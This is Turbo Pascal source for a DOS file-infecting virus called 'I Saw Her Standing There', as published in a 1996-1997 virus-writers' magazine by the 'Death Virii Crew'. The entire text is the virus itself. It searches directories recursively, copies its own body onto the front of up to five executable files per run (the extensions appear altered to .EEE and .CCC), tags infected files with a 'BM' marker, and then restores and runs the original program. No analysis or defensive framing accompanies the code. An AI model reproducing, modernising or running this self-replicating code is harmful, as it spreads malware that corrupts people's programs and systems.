{

[Death Virii Crew] Presents
CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997

}
{$M 7000,0,6300}
{$A- ,$D- ,$E- ,$L- ,$S- ,$V- ,$X- ,$O- ,$F- ,$B- ,$G- ,$N- ,$R- ,$i-}
uses Dos;
Const
    MySize:Word=6272;
    MyName:String[24]='I Saw Her Standing There';
    BM:array[1..2] of Char=('B','M');
Var Com_Line:String;
    MyBodyF:File;
    MyBodyD:Pointer;
    FFSize:LongInt;
    Counter,I:Byte;
function Ver(VF:String):Boolean;
Var AV:array[1..2] of Char;
begin
    Ver:=False;
    assign(MyBodyF,VF);
    reset(MyBodyF,1);
    Seek(MyBodyF,FileSize(MyBodyF)-2);
    blockRead(MyBodyF,AV,2);
    close(MyBodyF);
    if (av[1]=bm[1]) and (av[2]=bm[2]) then Ver:=True;
end;
procedure inf(FF:String);
begin
          assign(MyBodyF,FF);
          reset(MyBodyF,1);
          blockRead(MyBodyF,MyBodyD^,MySize);
          Seek(MyBodyF,FileSize(MyBodyF));
          blockWrite(MyBodyF,MyBodyD^,MySize);
          close(MyBodyF);
          assign(MyBodyF,paramstr(0));
          reset(MyBodyF,1);
          blockread(MyBodyF,MyBodyD^,MySize);
          close(MyBodyF);
          assign(MyBodyF,FF);
          reset(MyBodyF,1);
          blockWrite(MyBodyF,MyBodyD^,MySize);
          Seek(MyBodyF,FileSize(MyBodyF));
          blockWrite(MyBodyF,BM,2);
          close(MyBodyF);
end;
Procedure Alldir(dir:PathStr);
Var
  SR:SearchRec;
  FilePol:String;
  Dir_:DirStr;
  Name_:NameStr;
  Ext_:ExtStr;
Begin
 Dir:=dir+'\';
 FindFirst(Dir+'*.*',AnyFile,SR);
 While DosError=0 Do
  With SR Do Begin
   FilePol:=Concat(Dir,Name);
   FSplit(FilePol,Dir_,Name_,Ext_);
   if (ext_='.EEE') and (size>MySize+100) and (ver(Filepol)=False)and(Counter<5)
   then begin
     inf(FilePol);
     inc(Counter);
   end;

   if (ext_='.CCC')and(ver(Filepol)=False)and(size<65000-MySize)and(size>MySize+100)
       and((Name_+Ext_)<>'COMMAND.COM')and(Counter<5)

   then begin
     inf(FilePol);
     inc(Counter);
   end;
   FindNext(SR);
  End;
 FindFirst(Dir+'*.*',Directory,SR);
 While DosError=0 Do
  With SR Do begin
    if (Name[1]<>'.') and (Attr=Directory) AND (Counter<5) then Alldir(Dir+Name);
    FindNext(SR);
  End;
End;
Begin
   iF ParamCount>0 Then
   Begin
      For i:=1 To ParamCount Do
      Com_Line:=Com_Line+' '+paramstr(i);
   End;
   Counter:=0;
   getmem(MyBodyD,MySize);
   Alldir('');
   assign(MyBodyF,paramstr(0));
   reset(MyBodyF,1);
   FFSize:=filesize(MyBodyF)-MySize-2;
   Seek(MyBodyF,FFSize);
   blockREAd(MyBodyF,MyBodyD^,MySize);
   Seek(MyBodyF,0);
   blockWrite(MyBodyF,MyBodyD^,MySize);
   freemem(MyBodyD,MySize);
   Seek(MyBodyF,FFSize);
   Truncate(MyBodyF);
   Close(MyBodyF);
   swapvectors;
   exec(paramstr(0),Com_Line);
   swapvectors;
End.